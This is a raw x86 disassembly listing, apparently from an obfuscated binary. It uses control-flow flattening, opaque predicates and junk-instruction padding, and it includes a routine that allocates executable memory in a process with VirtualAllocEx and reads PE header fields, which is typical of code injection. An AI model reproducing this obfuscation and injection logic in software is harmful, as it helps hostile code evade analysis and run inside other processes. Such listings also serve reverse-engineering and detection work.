rcr edi, 0x2f
and edi, 0x8b
add edi, 0x37
or edi, 0x20
inc edx
neg eax
neg ebx
neg eax
sub ebx, 3
dec edx
rcl edi, 0xd4
neg esi
bswap edi
mov ebx, 0x76
neg esi
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x5c]
mov eax, 0x22189a8f
jmp 0x401100
mov eax, dword [0x508184]
mov edi, 0x9289af1c
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
mov esi, ecx
or esi, 1
not edx
mov eax, edx
or eax, 0x4b5de476
and esi, 0x4b5de477
and edx, 0xb4a21b88
or edx, esi
and eax, 0x4b5de477
mov esi, 0xda5cb694
xor eax, edx
mov edx, eax
not edx
and eax, ecx
andn ecx, ecx, edx
or eax, ecx
not eax
or eax, edx
xor eax, 0xffffffff
sete dl
setne al
cmp dword [0x508180], 0xa
setge cl
mov ah, cl
xor ah, al
or al, cl
or cl, dl
and ah, dl
xor cl, 1
mov edx, eax
or cl, ah
xor dl, 1
mov ah, cl
and al, cl
not ah
and ah, dl
or al, ah
mov ah, dl
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, al
test cl, 1
cmovne edi, esi
test al, al
mov eax, 0x9289af1c
cmove edi, esi
test dl, 1
cmove edi, eax
mov eax, edi
jmp 0x401100
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
add eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0xb0]
mov dword [ecx], eax
mov eax, 0x2e22818c
jmp 0x401100
mov eax, 0x771bc224
jmp 0x401100
mov eax, 0x7d684842
jmp 0x401100
mov eax, dword [0x508184]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
and eax, 0xfaf58eb3
and edx, 0x50a714c
or eax, edx
mov edx, ecx
xor edx, 0x3ad06909
mov esi, eax
xor eax, 0x6108
xor esi, 0x30400800
and edx, ecx
or eax, 0xc52f96f6
and esi, 0x30402900
mov edi, eax
and edi, 0x8fbb541f
or esi, edi
mov edi, edx
not edi
and edx, 0x7044abe0
or eax, edi
and edi, 0x8fbb541f
or edx, edi
not eax
xor edx, esi
mov esi, 0xd43d8d0c
or eax, edx
mov edx, eax
not edx
and eax, 0x3ad06908
and edx, 0xc52f96f7
or eax, edx
mov edx, eax
not edx
and eax, ecx
andn ecx, ecx, edx
or eax, ecx
not eax
or eax, edx
xor eax, 0xffffffff
sete dl
setne ah
cmp dword [0x508180], 0xa
setl cl
setge ch
mov al, cl
and cl, ah
and ah, ch
and al, dl
and dl, ch
or cl, dl
or al, ah
mov ah, cl
mov edx, ecx
xor al, 1
xor ah, 1
or al, ch
and dl, ah
xor dl, 1
or dl, ah
or ah, al
xor dl, 1
mov bl, ah
or dl, cl
mov ecx, edx
xor dl, 1
and cl, al
xor al, 1
and dl, al
or dl, cl
xor bl, dl
test ah, ah
mov eax, 0xa0654b60
cmovne eax, esi
test dl, 1
mov edx, 0xa0654b60
cmove eax, esi
test bl, 1
cmove eax, edx
jmp 0x401100
mov ecx, dword [0x508184]
mov esi, 0xfd3e0249
mov edi, 0xd650c375
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xc5010052
and edx, 0x124ac42c
or ecx, edx
mov edx, eax
xor edx, 0xd74bc47e
xor ecx, 0xc5010052
and edx, eax
or ecx, edx
not edx
and edx, 0x28b43b80
and ecx, 0xd74bc47f
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
xor edx, ecx
test edx, ecx
sete al
setne cl
cmp dword [0x508180], 0xa
setl dl
mov ah, dl
xor cl, dl
or ah, al
xor cl, 1
xor al, dl
xor ah, 1
xor al, 1
or ah, cl
mov cl, ah
or cl, al
xor al, ah
mov edx, eax
xor dl, cl
test al, al
mov eax, 0xd650c375
cmovne eax, esi
test cl, cl
cmovne eax, edi
test dl, dl
cmove eax, esi
jmp 0x401100
mov eax, 0xf20d8057
jmp 0x401100
mov eax, 0xf4df2710
jmp 0x401100
mov eax, dword [ebp - 0x18c]
mov eax, dword [eax]
add eax, dword [ebp - 0x188]
mov ecx, dword [ebp - 0x4c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x184]
mov dword [eax + ecx*4], edx
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0xb0]
mov eax, 0x9798e45b
jmp 0x401100
mov eax, dword [0x508184]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x3fed122d
and ecx, edx
not edx
and edx, 0x3fed122d
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x1416a3b4
and eax, 0xebe95c4b
or ecx, eax
mov eax, ecx
xor ecx, 0x80000c02
xor eax, 0x2bfbb199
mov edx, eax
and ecx, 0x834bac92
and eax, 0x7cb4536d
and edx, 0xfffffffe
or eax, ecx
xor eax, 0x7cb4536c
or eax, edx
mov esi, eax
or esi, 0x5097b012
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0x2e484e6c
and ecx, eax
and esi, 0x50dffa5e
and edx, 0x2e000420
or edx, esi
mov esi, ecx
not esi
and ecx, 0xaf2005a1
or eax, esi
and esi, 0x50dffa5e
or ecx, esi
not eax
mov esi, 0xa235184c
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0xd1b7b193
and eax, 0x2e484e6c
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x40266a7f
and ecx, 0xbfd99580
or eax, ecx
mov ecx, eax
xor ecx, 0x46027
xor eax, 0xb9d91580
and eax, 0xf9fb1fd8
and ecx, 0x604e027
or ecx, eax
xor ecx, 0x604e027
setne cl
sete ah
cmp dword [0x508180], 0xa
setl dl
setge al
or dl, cl
mov ecx, eax
xor cl, ah
xor cl, 1
or cl, al
or al, ah
mov ah, al
or al, dl
xor ah, dl
xor al, 1
mov edx, ecx
or al, ah
mov ah, cl
xor dl, 1
and ah, al
xor al, 1
and dl, al
or al, cl
or dl, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x92a645f8
cmovne eax, esi
test dl, 1
mov edx, 0x92a645f8
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401100
mov ecx, dword [0x508184]
mov esi, 0x4a652733
mov edi, 0xb1bdda65
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x1910230
and ecx, 0x5c2c40c1
or edx, ecx
mov ecx, eax
xor ecx, 0x5dbd42f1
xor edx, 0x1910230
and ecx, eax
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x44964ab1
and edx, 0xbb69b54e
or ecx, edx
mov edx, ecx
xor edx, 0x192b0841
xor ecx, 0xe6d4f7be
and edx, eax
andn eax, eax, ecx
or edx, eax
xor ecx, edx
test ecx, edx
sete ah
setne al
cmp dword [0x508180], 0xa
setl cl
setge dl
mov ch, cl
and dl, ah
and ch, al
xor al, cl
or cl, ah
or dl, ch
xor cl, 1
mov ch, al
or cl, dl
not ch
mov edx, ecx
not dl
and dl, al
or al, cl
and cl, ch
or cl, dl
mov edx, eax
xor dl, cl
mov edx, 0xb1bdda65
cmovne edx, esi
test cl, cl
mov ecx, edx
cmovne ecx, edi
test al, al
cmovne ecx, edx
mov eax, ecx
jmp 0x401100
mov eax, 0x7ad6d4f1
jmp 0x401100
mov eax, dword [ebp - 0xcc]
mov eax, 0x1ca8ddcf
jmp 0x401100
push 0x40
push 0x3000
mov eax, dword [ebp - 0x20]
push dword [eax + 0x50]
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [0x508184]
mov dword [ebp - 0x138], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x24063e0
and eax, 0xb0b4800f
and ecx, 0x4d0b1c10
or edx, ecx
xor edx, 0x24063e0
or eax, edx
mov ecx, eax
not ecx
and eax, 0x17e6619a
and ecx, 0xe8199e65
or eax, ecx
mov ecx, eax
mov edx, eax
xor eax, 0xa752e194
xor ecx, 0x58ad1e6a
xor edx, 0x58ad1e6b
and edx, ecx
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
mov eax, edx
not eax
and edx, 0x58c9c82b
mov esi, eax
and esi, 0xa73637d4
or edx, esi
mov esi, ecx
not esi
and ecx, 0x58c9c82b
or eax, esi
and esi, 0xa73637d4
or ecx, esi
not eax
mov esi, 0x64f2a3a0
xor ecx, edx
or eax, ecx
mov edx, eax
andn ecx, eax, eax
not eax
and edx, 0xf9557e8d
and eax, 0x6aa8172
or edx, eax
xor edx, 0xf9557e8d
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x6bd4c2bc
mov edx, eax
and edx, 0x942b3d43
or ecx, edx
xor ecx, 0x942b3d43
xor eax, ecx
test eax, ecx
setne ch
sete ah
cmp dword [0x508180], 0xa
mov cl, ch
setge dl
setl al
xor cl, al
and ah, dl
and al, ch
or al, ah
mov ah, dl
or dl, ch
xor ah, ch
xor dl, 1
xor al, 1
or dl, ah
mov ah, al
or al, dl
xor ah, dl
mov edx, ecx
xor al, 1
or al, ah
or dl, al
xor al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xd68846be
cmovne eax, esi
test dl, 1
mov edx, 0xd68846be
jmp 0x40de7c
mov eax, dword [0x508184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
or edx, 0x10204000
mov esi, eax
mov edi, eax
or esi, 0x84cc8e08
and edx, 0x94ecce08
and edi, 0x10001c0
and eax, 0xcda18de1
or edi, edx
mov edx, ecx
and esi, 0x94ecce08
and edx, 0x6a133037
and ecx, 0x325e721e
or edx, esi
or eax, ecx
xor edx, edi
mov esi, edx
not esi
and edx, 0x85cc8fc9
and esi, 0x7a337036
or edx, esi
mov esi, edx
not esi
and edx, 0xcda18de1
mov edi, esi
and edi, 0x325e721e
or edx, edi
xor eax, edx
xor esi, eax
test esi, eax
sete cl
cmp dword [0x508180], 0xa
setl al
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
mov ah, cl
xor ah, 1
and al, ah
or ah, dl
mov edx, 0xa3d1cf2
or al, cl
mov cl, ah
xor cl, al
mov ecx, 0x978db466
cmovne edx, ecx
test ah, ah
mov ecx, 0xa3d1cf2
cmovne ecx, edx
test al, al
cmove ecx, edx
mov eax, ecx
jmp 0x401100
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0xe4], eax
mov eax, 0x6bbc67f3
jmp 0x401100
mov eax, dword [0x508184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x4840
and ecx, 0xa97897bb
and eax, 0x56872004
or edx, eax
xor edx, 0x4840
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x446a647
and eax, 0xfbb959b8
or ecx, eax
mov esi, ecx
mov eax, ecx
xor eax, 0xc2230d0
xor esi, 0x52c1ce03
xor ecx, 0x1c35f240
and ecx, esi
and eax, 0x5ce27cd2
and esi, 0xa31d832d
or esi, eax
mov eax, esi
xor esi, 0x5ce27cd2
xor eax, 0xa31d832d
mov edx, esi
or edx, 0xb10bc3bc
mov ebx, eax
and ebx, 0x4c141040
and esi, 0x59f09d4d
mov edi, edx
and edi, 0x13eaec83
or ebx, edi
mov edi, ecx
not edi
and ecx, 0xec15137c
or edx, edi
and edi, 0x13eaec83
or ecx, edi
not edx
xor ecx, ebx
or edx, ecx
mov ecx, edx
not ecx
and edx, 0x79153480
and ecx, 0x86eacb7f
or edx, ecx
mov ecx, eax
and ecx, 0xa60f62b2
and eax, 1
or ecx, esi
xor edx, 0x37e108c2
xor ecx, 0x59f09d4c
or eax, ecx
not eax
or eax, edx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0x6f7495eb
and edx, 0x908b6a14
or edx, esi
mov esi, ecx
not esi
and ecx, 0x908b6a14
or eax, esi
and esi, 0x6f7495eb
or ecx, esi
not eax
mov esi, 0xd7ffa2da
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x2ace8a17
and ecx, 0xd53175e8
or eax, ecx
mov ecx, eax
xor ecx, 0x280e0213
xor eax, 0x165e0
and eax, 0x2c1ede4
and ecx, 0xfd3e121b
or ecx, eax
mov eax, ecx
xor eax, 0x201c9c0
xor ecx, 0xc4240211
and ecx, 0xc4e42635
and eax, 0x3b1bd9ca
or eax, ecx
xor eax, 0x3b1bd9ca
setne cl
sete dl
cmp dword [0x508180], 0xa
setl ah
setge al
or ah, cl
mov ecx, eax
or al, dl
xor cl, dl
and cl, dl
mov dl, ah
xor dl, al
or al, ah
mov ah, cl
xor al, 1
xor ah, 1
or al, dl
mov edx, ecx
and dl, ah
xor al, 1
xor dl, 1
or dl, ah
xor dl, 1
or dl, cl
xor dl, al
or al, ah
mov ecx, edx
xor cl, al
test al, 1
mov eax, 0x64c3bcdf
cmovne eax, esi
test dl, 1
not cl
mov edx, 0x64c3bcdf
cmovne eax, esi
test cl, 1
cmove eax, edx
jmp 0x401100
mov ecx, dword [0x508184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0x24d9a1de
mov esi, eax
or esi, 0x1200020
and ecx, eax
and esi, 0x216121f8
and edx, 0x4988006
or edx, esi
mov esi, ecx
not esi
and ecx, 0xde9ede07
or eax, esi
and esi, 0x216121f8
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0xdb265e21
and eax, 0x24d9a1de
or eax, ecx
mov esi, eax
not esi
mov edx, eax
and edx, 1
and eax, 0xbd403a3a
mov ecx, esi
and esi, 0xfffffffe
or ecx, 1
or edx, esi
mov esi, ecx
and esi, 0x42bfc5c5
or eax, esi
mov esi, edx
not esi
and edx, 0xbd403a3a
or ecx, esi
and esi, 0x42bfc5c5
or edx, esi
not ecx
xor edx, eax
or ecx, edx
mov eax, ecx
xor eax, 0xf3fbd8a5
mov edx, ecx
not edx
and eax, ecx
or ecx, 0xc04275a
and edx, 0x30104805
mov esi, ecx
and esi, 0xc7eb92ea
or edx, esi
mov esi, eax
not esi
and eax, 0x38146d15
or ecx, esi
and esi, 0xc7eb92ea
or eax, esi
not ecx
mov esi, 0x23a2f9ed
xor eax, edx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xa252dd9c
and eax, 0x5dad2263
or ecx, eax
xor ecx, 0x51a90539
sete cl
setne al
cmp dword [0x508180], 0xa
setge ah
mov dl, ah
xor cl, ah
xor dl, al
or al, ah
mov ah, cl
xor al, 1
or al, dl
or cl, al
xor ah, al
not cl
or cl, ah
mov eax, 0x5abb0301
xor cl, dl
and cl, 1
cmovne esi, eax
test cl, dl
mov eax, 0x23a2f9ed
cmovne esi, eax
test cl, cl
cmovne eax, esi
test cl, dl
mov edx, dword [ebp - 0xd0]
mov dword [ebp - 0x68], 0
cmove eax, esi
mov dword [ebp - 0x9c], edx
jmp 0x401100
cmp byte [ebp - 0x83], 0
mov eax, 0x682367e1
mov ecx, 0x64cf3d12
cmovne eax, ecx
jmp 0x401100
mov eax, 0x118e50db
jmp 0x401100
mov eax, 0x4c70b2d6
jmp 0x401100
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov ecx, edx
sub ecx, dword [eax + 0x34]
mov eax, dword [ebp - 0xc0]
add eax, edx
mov dword [ebp - 0x120], ecx
mov dword [ebp - 0xa0], eax
mov eax, 0xccf57fa0
jmp 0x401100
mov eax, 0x917a80b7
jmp 0x401100
cmp byte [ebp - 0x7c], 0
mov eax, 0x1df31768
mov ecx, 0x6be918f5
cmovne eax, ecx
jmp 0x401100
mov ecx, dword [0x508184]
mov edi, 0x2bfa9702
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x156918b4
and eax, 0x8131913
mov edx, ecx
and edx, 0xea96e74b
or ecx, 0x33004684
or esi, edx
and ecx, 0x73e0c6c4
mov edx, esi
xor esi, 0x22004600
xor edx, 0x4080020
or eax, ecx
or esi, 0x40e08040
and edx, 0x840c2028
and esi, 0x73e0c6c4
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xb70c66ac
and ecx, 0x48f39953
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and eax, 0x73b1aae6
and edx, 0xfffffffe
and ecx, 0x8c4e5519
or eax, ecx
xor eax, 0x73b1aae7
or eax, edx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x306c10a0
and eax, 0x8410a14b
mov edx, ecx
and edx, 0x3024610
or ecx, 0x13480690
or esi, edx
and ecx, 0x5bc90e94
mov edx, esi
xor edx, 0x20241020
xor esi, 0x4b810e14
or eax, ecx
and esi, 0x5bc90e94
and edx, 0x20265020
or edx, esi
mov esi, 0x2bfa9702
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x336e56b0
and ecx, 0xcc91a94f
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x23850a00
and ecx, 0xdc7af5ff
or eax, ecx
mov ecx, eax
xor ecx, 0x20800000
xor eax, 0x1468408d
and eax, 0x176d4a8d
and ecx, 0xe892b572
or ecx, eax
xor ecx, 0xe892b572
sete dl
setne al
cmp dword [0x508180], 0xa
mov ch, dl
setge ah
setl cl
and ch, ah
xor ah, dl
and al, cl
or cl, dl
mov dl, ah
or al, ch
xor dl, cl
or cl, ah
not cl
or cl, dl
mov edx, 0xd22cced
xor cl, al
and cl, 1
cmovne esi, edx
test cl, al
cmovne esi, edi
test cl, cl
cmovne edi, esi
test cl, al
mov eax, dword [ebp - 0x40]
cmove edi, esi
mov eax, dword [eax]
mov dword [ebp - 0x174], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov dword [ebp - 0x178], eax
mov eax, edi
jmp 0x401100
mov eax, dword [ebp - 0x20]
movzx eax, word [eax + 6]
mov ecx, dword [ebp - 0xfc]
cmp ecx, eax
mov ecx, dword [0x508184]
setl byte [ebp - 0x82]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov esi, eax
xor esi, 0xc87f1680
not edx
mov ecx, edx
and esi, eax
and ecx, 0xc87f1680
and edx, 0xaa5ace63
and eax, 0x55a5319c
or ecx, esi
not esi
or eax, edx
and esi, 0x3780e97e
and ecx, 0xc87f1681
xor eax, 0x55a5319c
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x5a360811
and esi, 0xa5c9f7ee
or ecx, esi
mov esi, 0xd142e486
xor ecx, 0x5a360811
or eax, ecx
xor eax, 0xffffffff
setne cl
sete dl
cmp dword [0x508180], 0xa
setl al
setge ah
or cl, al
or ah, dl
mov ch, cl
or cl, ah
xor ch, ah
mov ah, dl
xor cl, 1
xor ah, al
or al, dl
or cl, ch
xor al, 1
mov edx, ecx
or al, ah
mov ah, al
xor dl, al
and al, cl
and dl, cl
xor ah, 1
xor cl, 1
and cl, ah
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xf82a9638
cmovne ecx, esi
test al, 1
mov eax, ecx
cmovne eax, esi
jmp 0x4010ef
mov eax, dword [ebp - 0xf0]
mov eax, 0x4a1eb1d8
jmp 0x401100
bswap eax
dec ebx
ror edx, 3
ror ebx, 0x18
dec edx
dec ebx
imul eax
rol edx, 0x34
or esi, 0x61
sbb ebx, 0x42
bswap edi
neg edi
imul edx
ror eax, 0xd3
not edx
bswap edi
rcl eax, 0xb7
or ebx, 0xd9
neg edx
add edi, 0xee
dec edx
rcr ebx, 0xa8
sub edx, 0xa4
add ebx, 0xc1
rcr edi, 0x69
or edi, 0x97
sub edx, 0x98
ror esi, 0x1b
and edi, 0x13
mov ebx, 0x44
sbb ebx, 0x64
rol eax, 0x2f
sbb ebx, 0x75
or eax, 0x68
inc ebx
mov ebx, 0xc7
sbb edx, 0x22
neg ebx
bswap esi
add edx, 0xf3
mov edx, 0x37
inc esi
bswap edx
sbb edi, 0xdf
sbb edi, 0xe3
neg esi
inc eax
sub ebx, 0x87
mov edx, 0x5e
dec ebx
neg esi
inc esi
dec ebx
not edi
not esi
imul esi
inc esi
not ebx
bswap esi
and edx, 0xea
bswap eax
rcr edi, 0x9a
sbb edx, 0x30
or edx, 0xb4
ror eax, 0x4e
inc esi
dec ebx
sub edi, 0xe3
and eax, 0x5c
mov ebx, 0xb3
or esi, 0x1e
dec eax
or ebx, 0x49
inc ebx
imul edi
imul edx
add esi, 0xd0
bswap edx
sbb edx, 0x62
inc esi
not edx
bswap edx
and edi, 0
imul eax
ror eax, 0xd4
sub eax, 0x54
bswap esi
neg esi
rcr ebx, 0x17
neg eax
neg eax
dec esi
imul edi
sbb eax, 0x50
rcl edx, 0x5c
imul ebx
mov esi, 0x68
not eax
sub eax, 7
not edi
rcl edi, 0x86
dec edx
rcl edx, 0xfe
or ebx, 0x20
bswap edx
sub ebx, 0xe1
neg eax
rcr edx, 0xbb
or ebx, 0x53
rcr ebx, 0x7f
imul edx
or edx, 0x88
imul esi
dec eax
neg edi
and ebx, 0xab
dec edi
imul ebx
rcr edx, 1
ror edx, 0x8c
inc edx
and ebx, 0x85
inc esi
neg eax
inc esi
bswap edi
sub eax, 0xea
rol edi, 0x6c
rol edi, 2
or edx, 0x64
imul edi
not eax
neg edx
inc edi
and eax, 0xd5
rol esi, 0x97
dec esi
rcr edx, 0x99
rol esi, 0xc
not edi
imul esi
rcr edx, 0xbb
sbb edx, 0x12
or ebx, 0x9b
rol edi, 0x19
sub esi, 0x91
mov ebx, 0xc7
neg edx
sub esi, 0x86
dec esi
neg ebx
bswap edx
inc edx
sbb edi, 0xae
rcr eax, 0x13
dec eax
add edi, 0x46
bswap ebx
ror eax, 0x26
dec edx
ror edx, 0xa9
or edi, 0xd0
sbb edi, 0xc0
dec eax
inc edx
not edx
rcl ebx, 0xcd
imul eax
imul ebx
inc ebx
mov eax, 0xbf
rcr ebx, 0xec
bswap edx
bswap eax
inc esi
mov edx, 0x1b
not edx
bswap ebx
bswap ebx
dec ebx
dec ebx
add edi, 0x7c
add edi, 0x10
rcr esi, 0x34
inc ebx
bswap esi
sbb edi, 0x76
neg esi
rcl eax, 0x1e
rcr eax, 0xe
and ebx, 0xe3
neg esi
inc eax
not ebx
inc eax
not ebx
sub edx, 0x12
dec ebx
sbb eax, 0x45
rol edi, 0x9d
dec eax
bswap ebx
and ebx, 0xf5
and edi, 0x87
rcl eax, 0x9b
rcr edx, 0x46
add edi, 0x5f
neg edx
bswap esi
rcl edi, 0xb6
inc esi
add ebx, 0x28
rcl esi, 0x5e
dec edx
sbb eax, 0xcc
rcl esi, 0x55
and edi, 0xe0
dec ebx
imul ebx
rcr eax, 0xc8
dec edx
mov esi, 0x6b
rcl esi, 0xa5
or edi, 0x64
not eax
ror eax, 0xf7
bswap ebx
ror edi, 0xbf
neg eax
dec edi
or ebx, 0x15
neg edi
ror edx, 0x99
inc eax
dec esi
imul edi
and eax, 0xfe
mov edi, 0xfa
imul edx
inc edx
neg eax
bswap esi
sbb esi, 0xfa
dec edi
dec edx
or esi, 0x7d
neg esi
neg eax
rcl esi, 0xc7
neg eax
sub edx, 0x12
bswap edx
sub ebx, 0x33
rcr esi, 0x2d
rcl eax, 0xb1
or ebx, 3
and edx, 0x40
and ebx, 0
dec edx
not eax
rol ebx, 0xad
ror ebx, 0x19
mov edx, 0x2a
inc edx
mov eax, 0x87
inc ebx
mov esi, 0xc
add eax, 0x3c
mov esi, 0xd4
dec eax
ror edi, 0xfe
sub ebx, 0x82
imul eax
inc edi
not ebx
add esi, 0xca
not edx
not edx
rol ebx, 0x33
ror edx, 0x1b
not edi
dec eax
dec edi
neg edi
not esi
bswap edi
sub ebx, 0x33
inc edi
neg edx
not eax
neg edi
sbb edx, 0xfd
neg ebx
and esi, 0x54
bswap edi
inc edx
add edx, 0x46
mov edi, 0x75
imul eax
and eax, 0x3b
and ebx, 0x5d
rol esi, 0x11
sbb edx, 0xc7
or eax, 0xf2
rol esi, 0x44
sbb edx, 0x75
not eax
and ebx, 0xae
mov edx, 0xf
add esi, 0x3f
bswap ebx
or ebx, 0x3c
not edx
rol edi, 0xbb
ror ebx, 0x39
inc ebx
neg ebx
rol edx, 0xed
bswap ebx
or ebx, 0x78
inc ebx
imul ebx
rol edx, 0x97
sbb esi, 0xa4
rol edi, 0xbb
rol ebx, 0x66
not eax
rcl esi, 0x49
not ebx
sub esi, 0xdf
inc edi
inc edx
sbb esi, 0xed
imul edx
and eax, 0x30
mov edx, 0x78
rcl ebx, 0x80
not edx
rcr esi, 0xb4
or edi, 0x2d
imul eax
or eax, 0xed
bswap eax
not edx
imul edi
sbb edx, 0xf3
not ebx
rol edi, 0x13
bswap edx
inc edx
or esi, 0xfb
inc edi
dec ebx
rcl esi, 0xb4
inc eax
bswap eax
imul ebx
rcr edi, 0x3e
imul esi
rcr edi, 0x4c
add ebx, 0x6c
inc ebx
ror edx, 7
inc ebx
not edi
and ebx, 0x92
rcl edx, 0xb3
dec edx
rcl ebx, 0x29
not eax
rcr eax, 0xbe
inc ebx
bswap eax
rcr esi, 0x56
dec eax
neg eax
or edi, 0xc4
bswap eax
neg edx
add eax, 0xb8
dec ebx
neg esi
neg esi
imul eax
rcl esi, 0x9e
imul eax
rcl esi, 0x2b
imul esi
bswap edx
inc eax
rol eax, 0xbd
ror eax, 0x70
dec eax
bswap ebx
or edi, 0x69
not edx
not esi
imul ebx
and ebx, 0
bswap eax
mov dword [ebp - 0x34], eax
mov eax, dword [0x45a03c]
mov dword [ebp - 0x124], 0x45a000
mov dword [ebp - 0x128], eax
mov eax, 0x9c19de51
jmp 0x401100
mov eax, dword [ebp - 0xac]
mov eax, 0xe2cfe885
jmp 0x401100
mov eax, 0xa791fd92
jmp 0x401100
mov ecx, dword [0x508184]
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
xor esi, 0xfcfe1171
andn edx, eax, esi
and esi, eax
mov ecx, esi
not ecx
and esi, 0x93cecdf1
mov edi, ecx
and edi, 0x6c31320e
or esi, edi
mov edi, edx
not edi
and edx, 0x93cecdf1
or ecx, edi
and edi, 0x6c31320e
or edx, edi
not ecx
mov edi, 0xf8b33e
xor edx, esi
mov esi, eax
not esi
or ecx, edx
and esi, 0x66412742
mov edx, ecx
not edx
and ecx, 0x301ee8f
and edx, 0xfcfe1170
or ecx, edx
mov edx, eax
and edx, 0x99bed8bd
and eax, 1
or edx, esi
mov esi, 0x5abb0301
xor edx, 0x66412743
or eax, edx
not eax
or eax, ecx
cmp eax, 0xffffffff
sete dl
cmp dword [0x508180], 0xa
setl al
mov ah, al
xor al, dl
or ah, dl
mov cl, ah
xor cl, 1
or cl, al
and al, ah
xor cl, 1
xor al, cl
mov edx, eax
cmovne esi, edi
not dl
test dl, cl
cmovne esi, edi
test al, al
mov eax, esi
cmovne eax, edi
test dl, cl
cmove eax, esi
jmp 0x401100
mov ecx, dword [0x508184]
mov edi, 0x496c5e23
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0xe6f5fccf
mov edx, eax
and edx, 0xa4441c46
and ecx, eax
not eax
and eax, 0x42b1e089
or edx, eax
xor edx, 0xa4441c46
or edx, ecx
not ecx
and ecx, 0x190a0330
and edx, 0xe6f5fccf
or edx, ecx
mov eax, edx
mov esi, edx
xor esi, 0xbe3082f4
not eax
and edx, 0x4d72bf5
mov ecx, eax
and esi, 0xbe3082f5
and ecx, 0x41cf7d0a
or ecx, esi
mov esi, eax
and esi, 0xfb28d40a
and eax, 1
or esi, edx
mov edx, esi
xor edx, 0xd50b54
xor esi, 0x2308440a
or eax, edx
mov edx, ecx
and esi, 0x270a64aa
not edx
and ecx, 0xb3f69a2a
and eax, 0xd8f59b55
or eax, esi
mov esi, edx
and esi, 0x4c0965d5
or ecx, esi
mov esi, eax
xor esi, 0x90f49a00
xor eax, 0x270a64aa
or edx, eax
and eax, 0x4c0965d5
and esi, 0xb3f69a2a
or esi, eax
not edx
xor esi, ecx
or edx, esi
mov esi, 0xd4a5ded8
mov ecx, edx
andn eax, edx, edx
not edx
and ecx, 0xc1e7b77e
and edx, 0x3e184881
or ecx, edx
xor ecx, 0xc1e7b77e
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x32dfa32b
mov edx, ecx
and edx, 0xcd205cd4
or eax, edx
xor eax, 0x32dfa32b
or eax, ecx
cmp eax, 0xffffffff
sete cl
cmp dword [0x508180], 0xa
setl al
mov ah, al
xor al, cl
or ah, cl
mov dl, ah
xor dl, 1
or dl, al
and al, ah
mov ah, al
mov ecx, edx
xor ah, 1
and cl, al
mov ch, ah
xor ah, dl
xor dl, 1
or al, dl
and ch, dl
xor al, 1
or cl, ch
or al, ah
mov edx, eax
xor dl, cl
test dl, 1
cmovne edi, esi
test al, 1
mov eax, 0x496c5e23
cmovne eax, edi
test cl, cl
cmove eax, edi
jmp 0x401100
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x68], eax
mov eax, dword [0x508184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
xor edx, 0xfffffffe
andn edx, ecx, edx
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
or eax, edx
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0x2bcf7b1
and eax, 0xfd43084e
or ecx, eax
xor ecx, 0x2bcf7b1
or edx, ecx
setne dl
sete ch
cmp dword [0x508180], 0xa
mov dh, dl
setge al
setl ah
mov cl, al
or dh, ah
and dl, ah
or ah, ch
and al, ch
or cl, ch
xor ah, 1
or al, dl
mov ebx, ecx
or cl, dh
or al, ah
xor bl, dh
